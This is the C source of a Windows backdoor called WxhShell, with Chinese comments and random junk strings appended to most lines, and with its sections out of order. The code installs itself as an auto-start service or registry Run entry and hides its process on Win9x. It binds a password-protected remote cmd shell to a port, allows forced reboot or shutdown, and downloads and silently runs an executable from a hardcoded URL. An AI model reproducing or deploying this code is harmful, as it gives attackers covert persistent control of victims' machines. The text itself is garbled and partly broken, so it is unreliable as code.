    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ! AwMD  
    if(Boot(SHUTDOWN)) uG\~Hxqw7O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~ *&\5rPb  
    else { y?OP- 27y  
    closesocket(wsh); \:;MFG'  
    ExitThread(0); irQ'Rm [  
    } L('1NN 2  
    break; $e+sqgU  
    } 7I;kh`H$(f  
  // 获取shell 8 #4K@nm5  
  case 's': { V|u2(*  
    CmdShell(wsh);  uo`R  
    closesocket(wsh); yX!u&  
    ExitThread(0); h]<S0/  
    break; brA#p>4]Wf  
  } F'XQoZ* 1  
  // 退出 M">v4f&K1!  
  case 'x': { jz8u'y[n7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cUq]PC$|  
    CloseIt(wsh); P3"R2-  
    break; -m@c{&r  
    }  Qxz[  
  // 离开 h  /  
  case 'q': { LSta]81B4L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $!O@Z8B  
    closesocket(wsh); ?I?G+(bq  
    WSACleanup(); pX%:XpC!h  
    exit(1); tz):$1X_  
    break; $0[T<]{/?  
        } 7i($/mNl  
  } _*~F1% d  
  } G!j9D  
r~,y3L6ic  
  // 提示信息 /V,xSK9.&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R&cT Md  
} vgeqH[:  
  } .RpJZ[E  
Xmr}$<<=  
  return; MT/jpx  
} {]>c3=~FQb  
[S'1OR$FQ\  
// shell模块句柄 Q:q0C  +T  
int CmdShell(SOCKET sock) kgo#JY-4  
{ >SXSrXyYX  
STARTUPINFO si; Y|R=^ =d\  
ZeroMemory(&si,sizeof(si)); _9>,9aL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Hf('BagBL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3l=q@72  
PROCESS_INFORMATION ProcessInfo; =RWTjTZ   
char cmdline[]="cmd"; W^iK9|[qp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &%fcGNzJQ  
  return 0; V ,KIi_Z  
} <%^/uS  
CFFb>d  
// 自身启动模式 :[<Y#EX.  
int StartFromService(void) O}"oz3H  
{ yx8G9SO?  
typedef struct Zbnxs.i!  
{ 9p8ajlYg,  
  DWORD ExitStatus; ^8&}Nk[j  
  DWORD PebBaseAddress; UC+Qn  
  DWORD AffinityMask; jV2H61d  
  DWORD BasePriority; Z 7@'I0;A  
  ULONG UniqueProcessId; nZioFE}  
  ULONG InheritedFromUniqueProcessId; !*v% s  
}   PROCESS_BASIC_INFORMATION; OH@"]Nc~  
44e]sT.B  
PROCNTQSIP NtQueryInformationProcess; ZFLmD|q#{  
Iynks,ikA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2BC!,e$Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qlcd[Y*B  
_\>y[e["p  
  HANDLE             hProcess; 2mEqfy  
  PROCESS_BASIC_INFORMATION pbi; C@Wzg  
I7vP*YE 7F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5.^pD9[mT  
  if(NULL == hInst ) return 0; w"0$cL3  
br=e+]C Y)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !sX$?P%U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jnqp" Ult>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LGL;3EI  
(GRW(Zd4  
  if (!NtQueryInformationProcess) return 0; ~k34#j:J65  
IGTO|sT"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A'w+Lc.2  
  if(!hProcess) return 0; "c[>>t  
4(\1z6?D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :Ak^M~6a5  
!5dn7Wuj  
  CloseHandle(hProcess); oVw4M2!"K  
%ZoJu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n@`3O'S  
if(hProcess==NULL) return 0; '`upSJ;e  
<l1/lm<#  
HMODULE hMod; `:lcN0n  
char procName[255]; +(Y\w^@%H  
unsigned long cbNeeded; mywx V  
k$v 7@|Aw  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Qb@j8Xa4[  
2- L-=0  
  CloseHandle(hProcess); #:" ]-u^  
#w L(<nE  
if(strstr(procName,"services")) return 1; // 以服务启动 _j+,'\B  
qt OuA  
  return 0; // 注册表启动 OyDoktz$)  
} =-!jm? st*  
q5g_5^csM{  
// 主模块 HZ<#H3_ix  
int StartWxhshell(LPSTR lpCmdLine) il >+jVr  
{ }F1Asn  
  SOCKET wsl; _A]jiPq  
BOOL val=TRUE; *?Eu{J){7%  
  int port=0; ]yKwH 9sl  
  struct sockaddr_in door; wp:$Tqa$  
8TYh&n=r  
  if(wscfg.ws_autoins) Install(); eQQVfEvS  
pJg:afCg  
port=atoi(lpCmdLine); 0 iSNom}m  
ub 2'|CYw  
if(port<=0) port=wscfg.ws_port; ;7Qem&  
xF UD9TM  
  WSADATA data; u&p8S#e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^I/(9KP#  
"a(R>PV%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^Whc<>|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jEKa9rt  
  door.sin_family = AF_INET; 0(&uH0x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5M\0t\uEn  
  door.sin_port = htons(port); Mxz X@GBX  
,~;`@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5%S5*c6BD  
closesocket(wsl); rKPsv*w  
return 1; }c/#WA|b  
} QPVr:+\B{  
8;=?F>]xn  
  if(listen(wsl,2) == INVALID_SOCKET) { BfCib]V9C  
closesocket(wsl); =SJ[)|  
return 1; L\Oxyi<{  
} akw:3+`  
  Wxhshell(wsl); .~'q yD2V  
  WSACleanup(); .aZB?M W  
:x q^T  
return 0; Iy5W/QK6  
~i^,Z&X:  
} pnz@;+f  
#O^zA`D   
// 以NT服务方式启动 .f!'> _  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MS SHMR  
{ Qvny$sr2  
DWORD   status = 0; hW,GsJ,  
  DWORD   specificError = 0xfffffff; \^F6)COy  
dd=5`Bo9Yh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]Gl_L7u`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^R\5'9K!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e /XOmv  
  serviceStatus.dwWin32ExitCode     = 0; Kc9)Lzu+  
  serviceStatus.dwServiceSpecificExitCode = 0; o\j<EQb.  
  serviceStatus.dwCheckPoint       = 0; *=z.H  *  
  serviceStatus.dwWaitHint       = 0; |q o3 E  
j@JY-^~K5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5}N O~Xd<  
  if (hServiceStatusHandle==0) return; Cyv_(Oh?dv  
'iYaA-9j  
status = GetLastError(); 7; }TNK\+v  
  if (status!=NO_ERROR) ku^2K   
{ C~iFFh6:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b(ryk./ogx  
    serviceStatus.dwCheckPoint       = 0; Vfw +m1sS  
    serviceStatus.dwWaitHint       = 0; I |D]NY^  
    serviceStatus.dwWin32ExitCode     = status; a(o[ bH.|;  
    serviceStatus.dwServiceSpecificExitCode = specificError; iEFS>kL8e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n O}x,sG2'  
    return; jM@@N.  
  } AM gvk`<f  
;c~DBJg'|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F7x< V=4{  
  serviceStatus.dwCheckPoint       = 0; @7PE&3  
  serviceStatus.dwWaitHint       = 0; `0ju=FP'u5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BJ/#V)  
} 9.goO|~B~  
OQX ek@~2  
// 处理NT服务事件,比如:启动、停止 ;+qPV7Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Pb D|7IM  
{ qj|B #dU  
switch(fdwControl) E{9{%J  
{ YpZ 9h@,  
case SERVICE_CONTROL_STOP: QQjMC'  
  serviceStatus.dwWin32ExitCode = 0; 6 ud<B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; EVmE{XlD;  
  serviceStatus.dwCheckPoint   = 0; `V ++})5v  
  serviceStatus.dwWaitHint     = 0; q14A 'XW  
  { UE\@7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]*;+ U6/?  
  } 13{"sY:PT#  
  return; {&(bKQ  
case SERVICE_CONTROL_PAUSE: ]O&A:Us  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ip0@Q}^  
  break; 'E8dkVlI  
case SERVICE_CONTROL_CONTINUE: s?K4::@Fv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .Lu=16  
  break; [76mgj!K  
case SERVICE_CONTROL_INTERROGATE: s: q15"  
  break; m9>nv rQ  
}; *t|j+*c}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .'AHIR&>  
} u&I~%s  
~(0Y`+gC  
// 标准应用程序主函数 j'0*|f^z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /0YNB)  
{ vDOeBw=  
KF-gcRh  
// 获取操作系统版本 XY QUU0R  
OsIsNt=GetOsVer(); <ct{D|mm  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U14dQ=~b/  
Z*e7W O.  
  // 从命令行安装 t@19a6:Co  
  if(strpbrk(lpCmdLine,"iI")) Install(); nt[0krG  
" Gn; Q-@  
  // 下载执行文件 U ._1'pW  
if(wscfg.ws_downexe) { =yNHJHRA#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #XY]@V\  
  WinExec(wscfg.ws_filenam,SW_HIDE); cwC, VYVl  
} J2[QHr&tn  
qP<,"9!I  
if(!OsIsNt) { \M532_w  
// 如果时win9x,隐藏进程并且设置为注册表启动 UZX)1?U  
HideProc(); >qUO_>  
StartWxhshell(lpCmdLine); 8"* $e I5  
} >%3c1  
else |~CnELF)  
  if(StartFromService()) K ;xW/7?  
  // 以服务方式启动 sBu"$ "]  
  StartServiceCtrlDispatcher(DispatchTable); hA\8&pI;  
else FW.dHvNX  
  // 普通方式启动 Q#r 0DWo\  
  StartWxhshell(lpCmdLine); /eMZTh*1P  
qiF~I0_0  
return 0; t@JPnA7~  
} H62*8y8  
ft6^s(t  
A0X0t  
O.}gG6u5  
=========================================== tB3CX\e  
\+~4t  
7Y*m_AhxJ  
i:8^:(i  
kL|Y-(FPo%  
qRGb3l  
" C[&&.w8Pm  
v_@_J!s  
#include <stdio.h> +l/j6)O`(m  
#include <string.h> S'JeA>L  
#include <windows.h> KE&}*Nf[  
#include <winsock2.h> qtH&]Suu,  
#include <winsvc.h> HgBg,1  
#include <urlmon.h> 9f6TFdUi"y  
J3.Q8f  
#pragma comment (lib, "Ws2_32.lib") .M{[J]H`t  
#pragma comment (lib, "urlmon.lib") Q%xY/xH]  
?(<AT]hV:  
#define MAX_USER   100 // 最大客户端连接数 pOYtN1uN|  
#define BUF_SOCK   200 // sock buffer YPy))>Q>cK  
#define KEY_BUFF   255 // 输入 buffer G([vy#p  
@!'H'GvA  
#define REBOOT     0   // 重启 #Fd( [Zx#.  
#define SHUTDOWN   1   // 关机 bg*{1^  
(Sv%-8?gs  
#define DEF_PORT   5000 // 监听端口 -d3y!| \>a  
td&l T(7  
#define REG_LEN     16   // 注册表键长度 Bw=[g&+o1@  
#define SVC_LEN     80   // NT服务名长度 g&vEc1LNo  
~&/Gx_KU  
// 从dll定义API _z5CplO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C|zH {.H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wf@2&vJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Qd4T?5 vG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &P3vcB  
LI<5;oE;  
// wxhshell配置信息 ;MJ1Q  
struct WSCFG { V$%K=[  
  int ws_port;         // 监听端口 ZO 1J";>u  
  char ws_passstr[REG_LEN]; // 口令 5l}h8So4  
  int ws_autoins;       // 安装标记, 1=yes 0=no *n'x S L  
  char ws_regname[REG_LEN]; // 注册表键名 Ma daxx  
  char ws_svcname[REG_LEN]; // 服务名 ksaC[G;}:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A,e^bM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _MEv*Q@o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %S#"pKE6 R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no L>b,}w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "y0 A<-~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9.=#4OH/  
8W>l(w9M  
}; (B-9M)  
5w1[KO#K|  
// default Wxhshell configuration X8x>oV;8  
struct WSCFG wscfg={DEF_PORT, 7$=@q|$  
    "xuhuanlingzhe", +3>4 ?,^g  
    1, xH[yIfHkG@  
    "Wxhshell", e"6i >w!  
    "Wxhshell", 3T/j5m}+!  
            "WxhShell Service", <Y2!c,"  
    "Wrsky Windows CmdShell Service", fLoVcl  
    "Please Input Your Password: ", rfi`Bp  
  1, Z5[:Zf?h7J  
  "http://www.wrsky.com/wxhshell.exe", sK?-@  
  "Wxhshell.exe" j2M(W/_  
    }; rtx]dc1m  
6w;|-/:`  
// 消息定义模块 )x&@j4,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; OF/)-}!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q)b?X ^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QZox3LM1&.  
char *msg_ws_ext="\n\rExit."; [9_ (+E[}  
char *msg_ws_end="\n\rQuit."; Gnt!!1_8L  
char *msg_ws_boot="\n\rReboot..."; uP2a\C,$  
char *msg_ws_poff="\n\rShutdown..."; odf^W  
char *msg_ws_down="\n\rSave to "; ,P@-DDJ  
DZ.trtK  
char *msg_ws_err="\n\rErr!";  0QqzS  
char *msg_ws_ok="\n\rOK!"; HjS^ nYl  
~{G: ,|`  
char ExeFile[MAX_PATH]; c.Z4f 7  
int nUser = 0; S\;.nAR  
HANDLE handles[MAX_USER]; -$t,}3  
int OsIsNt; am+mXb  
ha! "BR  
SERVICE_STATUS       serviceStatus; 9 /(c cj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D#1~]d  
S5KYZ W  
// 函数声明 _l=  
int Install(void); UiZp -Y%ki  
int Uninstall(void); i(iP}: 3  
int DownloadFile(char *sURL, SOCKET wsh); ?(8%SPRk  
int Boot(int flag); y?#J`o- O  
void HideProc(void); B!ibE<7,  
int GetOsVer(void); (x0*(*A}  
int Wxhshell(SOCKET wsl); lkg*AAR?'  
void TalkWithClient(void *cs); Z[S+L"0  
int CmdShell(SOCKET sock); hyfnIb@~}  
int StartFromService(void); PZRn6Tc  
int StartWxhshell(LPSTR lpCmdLine); .{ a2z*o  
*;E+9^:V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {b0&qV   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'A!/pUML  
F(~_L.  
// 数据结构和表定义 /&as)  
SERVICE_TABLE_ENTRY DispatchTable[] = rE `}?d  
{ fbTw6Fde$  
{wscfg.ws_svcname, NTServiceMain}, dHF$T33It  
{NULL, NULL} 3,L3C9V'  
}; u7P+^A97L_  
_JTxm>  
// 自我安装 uo'31V0  
int Install(void) S5u#g`I]  
{ /NX7Vev  
  char svExeFile[MAX_PATH]; `{lAhZ5  
  HKEY key; Guw|00w,Q$  
  strcpy(svExeFile,ExeFile); ,]_(-tyN|  
v#]v,C-*  
// 如果是win9x系统,修改注册表设为自启动 EQ63VF  
if(!OsIsNt) { xf"5<PTW</  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E+ 3yN\X(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Df:7P>  
  RegCloseKey(key); A a} o*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uoY`qF.`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _pko]F|()  
  RegCloseKey(key); {hRie+  
  return 0; ! M&un*  
    } Wo9psv7.  
  } #t2UPLO~  
} ]ZzG!7  
else { q6JW@GT  
Xu94v{u3  
// 如果是NT以上系统,安装为系统服务 DwY<qNWT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X0Z-1bs  
if (schSCManager!=0) -F+P;S  
{ =ch Af=  
  SC_HANDLE schService = CreateService ~K-*q{6Q  
  ( tG2OVRx8u  
  schSCManager, ' q<EZ {  
  wscfg.ws_svcname, \btR^;_\A  
  wscfg.ws_svcdisp, #>m, Cm  
  SERVICE_ALL_ACCESS,  +iH30v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Jhsv2,8 {  
  SERVICE_AUTO_START, q X%vRf0  
  SERVICE_ERROR_NORMAL, n~)HfY  
  svExeFile, rH&r6Xv[  
  NULL, s'aV qB  
  NULL, q bZ,K@0  
  NULL, s w.AfRQP  
  NULL, EhIV(q9x  
  NULL seuN,jpt  
  ); ]a6O(]  
  if (schService!=0) FfxX)p1t  
  { SQt|(r)  
  CloseServiceHandle(schService); wL-ydMIx  
  CloseServiceHandle(schSCManager); _m7U-;G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); grCO-S|j^  
  strcat(svExeFile,wscfg.ws_svcname); (!VMnLlXRK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xa{<R+LR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :\+{;;a@  
  RegCloseKey(key); I51oG:6fR?  
  return 0; J(EaE2  
    } X(y  
  } YF! &*6m  
  CloseServiceHandle(schSCManager); JU'WiR bcb  
} d]7|v r]  
} tSb?]J  
|ON&._`LH  
return 1; -4?xwz9o$7  
} G=C5T(  
^0Q=#p  
// 自我卸载 C^/ -lc  
int Uninstall(void) C '-zh\a  
{ OHHNWg_5  
  HKEY key; ," C[Qg(  
y^ X\^Kq  
if(!OsIsNt) { XJmFJafQD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &gA6+b'  
  RegDeleteValue(key,wscfg.ws_regname); 29Z!p2{hk  
  RegCloseKey(key); T,WKo B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MjQ[^%lfL  
  RegDeleteValue(key,wscfg.ws_regname); QOT)x4!)  
  RegCloseKey(key); Ns.3s7&  
  return 0; r*6"'W>c6  
  } ;V(H7 ZM  
} ){+[$@9  
} a IpPL8a  
else { KbwTj*k[  
kUn2RZ6$#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); llHc=&y#  
if (schSCManager!=0) 7`b lGzP_  
{ }iua] 4 |  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9u ?)vR[@e  
  if (schService!=0) }z%OnP  
  { selP=Q!  
  if(DeleteService(schService)!=0) { rb:<N%*t  
  CloseServiceHandle(schService); 1KTabj/C  
  CloseServiceHandle(schSCManager); @PPR$4  
  return 0; a{]g+tGH  
  } l_c^ .D  
  CloseServiceHandle(schService); "WYA  
  } y@o9~?M  
  CloseServiceHandle(schSCManager); QFW0KD`5  
} w0Fwd  
} Pgn_9Y?<  
x?,~TC4  
return 1; G&x'=dJ  
} p-5P as  
9W1;Kb|Z<  
// 从指定url下载文件 G;(onJz  
int DownloadFile(char *sURL, SOCKET wsh) y$IaXr5L  
{ /[a|DUoHO  
  HRESULT hr; n}< ir!ZTO  
char seps[]= "/"; y#S1c)vU  
char *token; M!N` Orz  
char *file; 4 ,p#:!  
char myURL[MAX_PATH]; eM?rc55|  
char myFILE[MAX_PATH]; t a&Q4v&-  
8To7c  
strcpy(myURL,sURL); &sm @  
  token=strtok(myURL,seps); owE<7TGPI?  
  while(token!=NULL) 29"mE;j  
  { EHpu*P~W  
    file=token; j\2] M  
  token=strtok(NULL,seps); 44|deE3Z  
  } 2?GXkPF2;A  
bnijM/73  
GetCurrentDirectory(MAX_PATH,myFILE); sS, zzx<  
strcat(myFILE, "\\"); o"|O ]  
strcat(myFILE, file); .aNO( /kO  
  send(wsh,myFILE,strlen(myFILE),0); j#N(1}r=1  
send(wsh,"...",3,0); }*iAE>;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 89zuL18V  
  if(hr==S_OK) OuB2 x=B  
return 0; QF\kPk(CtD  
else KHvIN}V5?3  
return 1; "@.Z#d|Y  
MWM +hk1fs  
} |]^l^e 6m  
R=`U4Ml;  
// 系统电源模块 0/ut:RV0  
int Boot(int flag) SK's!m:r=  
{ y0,Ft/D  
  HANDLE hToken; x.I][(}  
  TOKEN_PRIVILEGES tkp; kr^0% A  
G9\EZ\x!  
  if(OsIsNt) { '.pgXsC:=?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D899gGe  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 43KaL(  
    tkp.PrivilegeCount = 1; +Dv7:x7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !0`lu_ZN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vx'l> @]k  
if(flag==REBOOT) { {3_Gjb5\\4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }A-{6Qe  
  return 0; f[x~)=  
} V {p*z  
else { x@h tx?   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J;S-+  
  return 0; W+KF2(lB  
} /K f L+"^|  
  } A*hZv|$0  
  else { T-^0:@5o9  
if(flag==REBOOT) { sr\cVv")  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UanEzx%  
  return 0; $Jcq7E~  
} yKYl@&H/%  
else { @9aGz6k+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h{I`7X  
  return 0; gt'*B5F(  
} 47KNT7C  
} 8+ov(B;(  
22z1g(; @  
return 1; DacN {r"3  
} yx2z%E  
YV-j/U{&  
// win9x进程隐藏模块 1DUb [W8  
void HideProc(void) q]K'p,'  
{ &I%IaNco  
avg4K*vv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #*^e,FF<  
  if ( hKernel != NULL ) \Dfm(R  
  { cM3jnim  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Yr=8!iR$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sds}bo  
    FreeLibrary(hKernel);  s'TY[  
  } [_V:)  
+>!V ]S  
return; nWk e#{[  
} ~T% Ui#Gc  
H;QA@tF>5  
// 获取操作系统版本 Pubv$u2  
int GetOsVer(void) q(gjT^aN  
{ ;,k=<]  
  OSVERSIONINFO winfo; pl|h>4af  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9mDn KW  
  GetVersionEx(&winfo); D^|9/qm$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a$}NW.  
  return 1; gGEIK0\{  
  else z3W3=@  
  return 0; %&h c"7/k  
} wN(&5rfS  
Z5$fE7ba+  
// 客户端句柄模块 ~@D/A/|  
int Wxhshell(SOCKET wsl) P 6.!3%y  
{ 0elxA8Z~e  
  SOCKET wsh; w^Ag]HZN  
  struct sockaddr_in client; 6WeM rWx  
  DWORD myID; !p',Za   
-9d%+O~v6~  
  while(nUser<MAX_USER) &?y7I Pp  
{ RkA8  
  int nSize=sizeof(client); WI&lj<*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gw+eM,Yp  
  if(wsh==INVALID_SOCKET) return 1; gfN2/TDC]P  
epkD*7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R!6=7  
if(handles[nUser]==0) n'M>xq_  
  closesocket(wsh); w"~<h;  
else \J3/keL  
  nUser++; u%B&WwHG  
  } ;|HL+je;Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z7z]2v3}c  
:IZ"D40m"  
  return 0; JYJU&u  
} wXbsS)#/  
N}x9N.  
// 关闭 socket Xb,T{.3@  
void CloseIt(SOCKET wsh) )M:)y  
{ ;&S;%W>|  
closesocket(wsh); 9->q|E4  
nUser--; \k; n20\u  
ExitThread(0); <<,>S&/  
} mp1ttGUtM  
QIK 9  
// 客户端请求句柄 R,,Qt TGB  
void TalkWithClient(void *cs) (`c G  
{ :h*a rT4{  
^~1<f1(  
  SOCKET wsh=(SOCKET)cs; Ee)xnY%(  
  char pwd[SVC_LEN]; hqDqt"dKz  
  char cmd[KEY_BUFF]; 9:8|)a(1  
char chr[1]; EI1? GB)b  
int i,j; o\!qcoE2W  
fd1C {^c  
  while (nUser < MAX_USER) { y}"7e)|t%  
/pykW_`/-  
if(wscfg.ws_passstr) { y vI<4F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "@yyXS r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X{Zm9T  
  //ZeroMemory(pwd,KEY_BUFF); B(,:haAr  
      i=0; ue\t,*KYd  
  while(i<SVC_LEN) { `]<`$71w  
Fe!9y2Mg  
  // 设置超时 fzPZ|  
  fd_set FdRead; |]sx+NlNc  
  struct timeval TimeOut; JvL{| KtyU  
  FD_ZERO(&FdRead); Cy@ cLdV  
  FD_SET(wsh,&FdRead); L'E^c,-x~  
  TimeOut.tv_sec=8; fYX<d%?7  
  TimeOut.tv_usec=0; >cgpajx*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tJU-<{8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .zkP~xQ~  
Md&WJ };L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eB]R3j{  
  pwd=chr[0];  rLv;Y  
  if(chr[0]==0xd || chr[0]==0xa) { 7lA:)a_!]  
  pwd=0; `hUHel;6  
  break; @ D[`Oj)  
  } /X#z*GX  
  i++; \TbVS8e^  
    } eR;!(Oy=A  
5/@UVY9_  
  // 如果是非法用户,关闭 socket uQ3[Jz`y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); orfp>B) 0  
} H"Dn]$Q\Z  
h-QLV[^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :Li/=>R^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {vVTv SC  
r:g9Z_  
while(1) { +ts0^;QO2{  
D/ Dt   
  ZeroMemory(cmd,KEY_BUFF); Vw~\H Gs/~  
@PSLs *  
      // 自动支持客户端 telnet标准   m;,xmEp  
  j=0; 7wVH8^|  
  while(j<KEY_BUFF) { ^4pto$#@O:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rx!=q8=0R  
  cmd[j]=chr[0]; y7lWeBnC  
  if(chr[0]==0xa || chr[0]==0xd) { [TTSA2  
  cmd[j]=0; WNy3@+@GZ  
  break; 46No%cSiG  
  } A)NkT`<)  
  j++; 2`bdrRD0  
    } =RKSag&  
f.xA_Y>  
  // 下载文件 8dO?K*J,H'  
  if(strstr(cmd,"http://")) { 0.;}]v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q8nId<\(  
  if(DownloadFile(cmd,wsh)) j6YiE~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,o#kRWRG  
  else |i7a@'0)  
